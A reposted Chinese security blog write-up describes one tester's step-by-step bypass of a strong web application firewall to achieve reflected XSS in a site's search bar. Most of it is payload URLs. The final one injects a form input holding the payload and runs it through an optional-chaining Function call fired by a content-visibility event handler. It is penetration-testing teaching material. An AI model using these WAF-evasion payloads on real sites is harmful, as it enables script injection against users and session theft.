0114.搜索栏中的高级WAF绕过反射型XSS

admin 2026-01-11 01:05:20 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了针对高防御WAF的反射型XSS绕过实战。作者发现搜索栏存在注入点但被强力WAF拦截,常规编码与DOM绕过手段均无效。通过深入分析,最终利用HTML表单注入载荷,结合JavaScript可选链操作符与动态函数执行特性,成功绕过关键词检测机制,实现了XSS攻击,展示了高级混淆技巧在安全测试中的价值。 综合评分: 90 文章分类: WEB安全,漏洞POC,实战经验,渗透测试


cover_image

0114.搜索栏中的高级 WAF 绕过反射型 XSS

原创

aiden0x

Rsec

2026年1月10日 08:45 贵州

本文章仅用网络安全研究学习,请勿使用相关技术进行违法犯罪活动。

声明:本文搬运自互联网,如你是原作者,请联系我们!

类型:XSS绕过WAF

你好,

今晚我们将深入探讨我是如何绕过我见过的最强大的 WAF(Web 应用防火墙)的,它能够阻止所有已知和未知的绕过技术 

好了,战斗开始!

因为我想开始测试主应用程序,所以我找到了一个搜索栏。在大多数 Web 应用程序中,主应用程序中的搜索栏通常会受到保护,防止 XSS 等注入攻击,但这次我们的情况并非如此。

首次反思测试:

https://www.target.com/en/search?q=<h1>aiden0x

如您所见,我的名字未经任何过滤或清理就直接显示在请求头中。现在让我们试试 XSS 攻击:

https://www.target.com/en/search?q=<img&nbsp;src=x&nbsp;onerror=alert(1)>

WAF 拦截了它,大多数情况下绕过 WAF 并不难,有很多简单又巧妙的方法可以绕过 WAF。但这个 WAF 非常强大,检测到了所有可能的绕过方法。但我更胜一筹。让我们深入了解一下我是如何绕过它的。

首先,我总是试图弄明白 WAF 是如何检测到我的,以及究竟是哪个部分阻止了有效载荷。我开始逐个移除有效载荷中的部分:

https://www.target.com/en/search?q=<img&nbsp;src=x&nbsp;onerror=alert>

这被屏蔽了,也许他看到提示词就会屏蔽,我把它替换成了任意词:

https://www.target.com/en/search?q=<img&nbsp;src=x&nbsp;onerror=meshalert>

这同样导致阻塞,这意味着问题出在事件处理程序上,我已将其替换为随机事件处理程序:

https://www.target.com/en/search?q=<img&nbsp;src=x&nbsp;meshevent=meshalert>

这条信息被转发,回复中也反映了同样的图片:

我尝试使用 src 属性将 XSS SVG 有效载荷嵌入到页面中:

https://www.target.com/en/search?q=<img src=https://aiden0x.github.io/img-payloads/xssSVG.svg>

这次 WAF 转发了该数据包,但内容安全策略(CSP)阻止了它:

在这个步骤,我总是尝试一种非常好的技巧,这种技巧在大多数情况下都能成功绕过障碍并发挥作用:

https://www.target.com/en/search?q=<a href="data:text/html;base64,amF2YXNjcmlwdDphbGVydCgxKQo=">

对于 WAF 和过滤器来说,这看起来正常,但当渲染到 DOM 中时,base64 解码后的内容是:

javascript:alert(1)

这招一直都管用,但我们的敌人实力远胜于我们,实际上我花了很多时间尝试每一种可能的有效载荷和技巧,所以我们直接跳过这部分,来看最终奏效的方案:

https://www.target.com/en/search?q=<xss oncontentvisibilityautostatechange=alert(1) style=display:block;content-visibility:auto>

实际上,这也被 alert() 函数阻塞了,但是当我移除 (1) 后,它就通过了,并在页面上显示了出来:

于是我开始发挥创造力,我知道无法直接执行 alert() 函数。我需要用到我的开发技能 :)。我必须找到某种编码或间接的方法来调用该函数,而不被 WAF 检测到。我想推荐一份非常好的速查表,它在这种情况下总能帮到你:

XSSPayloads-Strings-Cheatsheet.pdf

https://xss-payloads.paracyberbellum.io/cheatsheets/XSSPayloads-Strings-Cheatsheet.pdf

首先,我想确认事件处理程序是否执行了 JS 代码,所以我尝试使用以下方式声明一个 window 环境:

https://www.target.com/en/search?q=<xss&nbsp;oncontentvisibilityautostatechange=window.__XSS__=1&nbsp;style=display:block;content-visibility:auto>

之后,您必须在控制台中检查环境变量:

这证实了事件处理程序已成功执行 JS 代码,所以我们的问题在于 WAF,它阻止了 ‘、” 和 `。它之前阻止了一切。所以我们来尝试绕过这个该死的家伙。

我首先尝试的是 ASCII 编码:

String.fromCharCode(97,108,101,114,116,40,41) -> alert()

但这样会将 alert() 输出为字符串,所以我们需要一种方法将其用作函数。以下是 JavaScript 中调用 Function 构造函数的几种方法之一:

Function(JS&nbsp;Code)()

因此,有效载荷将是:

Function(String.fromCharCode(97,108,101,114,116,40,41))()

你可以在控制台中尝试一下,警报就会执行。所以让我们在有效负载中尝试一下:

https://www.target.com/en/search?q=<xss oncontentvisibilityautostatechange=Function(String.fromCharCode(97,108,101,114,116,40,41))() style=display:block;content-visibility:auto>

你以为这样就能行吗?我早就跟你说过我们的目标非常强大。没错,它被屏蔽了。经过一番测试,我试图找出究竟是哪个部分被屏蔽了,我尝试将 ASCII Unicode 值更改为任何随机字符,但仍然被屏蔽,看来 WAF 屏蔽了整个字符串函数。我又尝试了另一个函数:

Function(new(TextDecoder)().decode(new(Uint8Array)([97,108,101,114,116,40,41])))()

它也被阻塞了。这时我决定用另一种方式调用函数构造函数,但这次是在对象构造函数属性上调用:

[constructor][constructor](JS&nbsp;COde)

我尝试使用 Unicode 转义序列:

[constructor][constructor](\u0061lert(1))

这个方法也行不通,所以我尝试对整个警告信息进行编码:

[constructor][constructor](\u0061\u006C\u0065\u0072\u0074(1))

没错,也被屏蔽了。我真没想到这个WAF这么强大。

当时,经过多次尝试和测试,我决定不可能将我们的 alert() 注入到事件处理程序或有效负载中,因为它总是会被检测到。

之后我花了很多时间思考……直到它浮现出来。

我们需要将警告框注入到不会被识别为 JavaScript 代码的位置,这样 WAF 就不会阻止它。然后,我们在事件处理程序中使用 JavaScript 代码来选中并执行警告框。那么,我们该如何实现呢?我们知道,普通的 URL 包含作为键和值的参数,我们也可以发送 #any_thing。那么,如果我们像这样发送 URL 会怎么样呢?

https://target.com/search?q=test#alert(1)

然后,在我们的有效载荷中,我们使用以下方式选择该哈希值:

location.hash.slice(1)

WAF 会检查事件处理程序,但不会发现任何恶意代码,而实际上代码会间接执行 alert() 函数。为了测试这种方法是否可行,请在浏览器中打开一个新标签页并访问:

file:///dev/null#alert(1)

在控制台中运行以下命令:

Function(location.hash.slice(1))()

会弹出警报,但我在目标设备上尝试时被阻止了,原因是 WAF 会阻止所有 location.*,以防止访问 URL 的任何部分。但我永不放弃。

我当时想,如果我们直接从页面响应中选择有效负载会怎么样?但这怎么可能呢?页面响应里当然不会包含 alert() 元素。所以我们为什么不直接把有效负载放在 HTML 元素的值里,然后用 DOM 来选择呢?但我必须发送一个不存在的元素才能轻松选择它,因为 WAF 会阻止使用 ID 或类名从 DOM 中选择元素。所以我搜索了页面响应,发现里面没有表单标签,所以我们就把它放进去吧:

<form><input&nbsp;value=alert()></form>

然后使用 DOM 选择它:

document.forms[0].elements[0].value()

因此,最终有效载荷将是:

https://www.target.com/en/search?q=<form><input&nbsp;value=alert(1)></form><xss&nbsp;oncontentvisibilityautostatechange=Function(document.forms[0].elements[0].value)()&nbsp;popover&nbsp;id=x&nbsp;style=display:block;content-visibility:auto>XSS</xss>

没错,正如你所想,它被拦截了。但我知道原因,当然是因为输入值里有 alert(1),所以我把它替换成了一个随机字符串“PAYLOAD”并重新发送。结果还是被拦截了,WAF 拦截了它,因为你从 DOM 中选择一个元素值并将其放入执行函数中,所以即使这个值本身没有恶意,WAF 也会拦截它。

我检查了每一扇门,决定找到一种方法来执行该函数,但又不能让 WAF 识别,因为尤其是在 JavaScript 中,总有一些奇怪且未知的运行代码的方法。经过一番搜索,我找到了这种方法:

Function?.(Js&nbsp;Code)

我们来试试:

https://www.target.com/en/search?q=<form><input&nbsp;value=PAYLOAD></form><xss&nbsp;oncontentvisibilityautostatechange=Function?.(document.forms[0].elements[0].value)()&nbsp;popover&nbsp;id=x&nbsp;style=display:block;content-visibility:auto>XSS</xss>

它已成功绕过 WAF,因此完整的 PoC(使用 alert())如下:

https://www.target.com/en/search?q=<form><input&nbsp;value=alert(1)></form><xss&nbsp;oncontentvisibilityautostatechange=Function?.(document.forms[0].elements[0].value)()&nbsp;popover&nbsp;id=x&nbsp;style=display:block;content-visibility:auto>XSS</xss>

它被屏蔽了😂,你到底怎么了!

我尝试将 alert() 替换为其他函数,例如 confirm() 或 prompt(),但所有这些函数都阻塞了,只有 print() 函数可以正常工作。

https://www.target.com/en/search?q=<form><input&nbsp;value=print()></form><xss&nbsp;oncontentvisibilityautostatechange=Function?.(document.forms[0].elements[0].value)()&nbsp;popover&nbsp;id=x&nbsp;style=display:block;content-visibility:auto>XSS</xss>
![](https://mmbiz.qpic.cn/mmbiz_png/yKTOKd3ibs98l34mpUn7DUgLibia0fsVFqE1yob5pXZQpUXGwFXBJLNdTqICmBlrRAlbVWVNO8Xh3LQgSAVn2jpicg/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=7)

我想到,既然我在事件处理程序中使用 Function?.() 来执行 Function(),为什么不试试 alert() 呢?
https://www.target.com/en/search?q=<form><input&nbsp;value=alert?.(1)></form><xss&nbsp;oncontentvisibilityautostatechange=Function?.(document.forms[0].elements[0].value)()&nbsp;popover&nbsp;id=x&nbsp;style=display:block;content-visibility:auto>XSS</xss>
![](https://mmbiz.qpic.cn/mmbiz_png/yKTOKd3ibs98l34mpUn7DUgLibia0fsVFqEoY3q9F7qibmlhQAQNnfmMK6wMP5pHvOfeWnsYKtrlBJMWazdekAEv8g/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=8)

正如我常说的,我并没有绕过 WAF,是 WAF 接受了失败。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Rsec aiden0x《0114.搜索栏中的高级 WAF 绕过反射型 XSS》

评论:0   参与:  0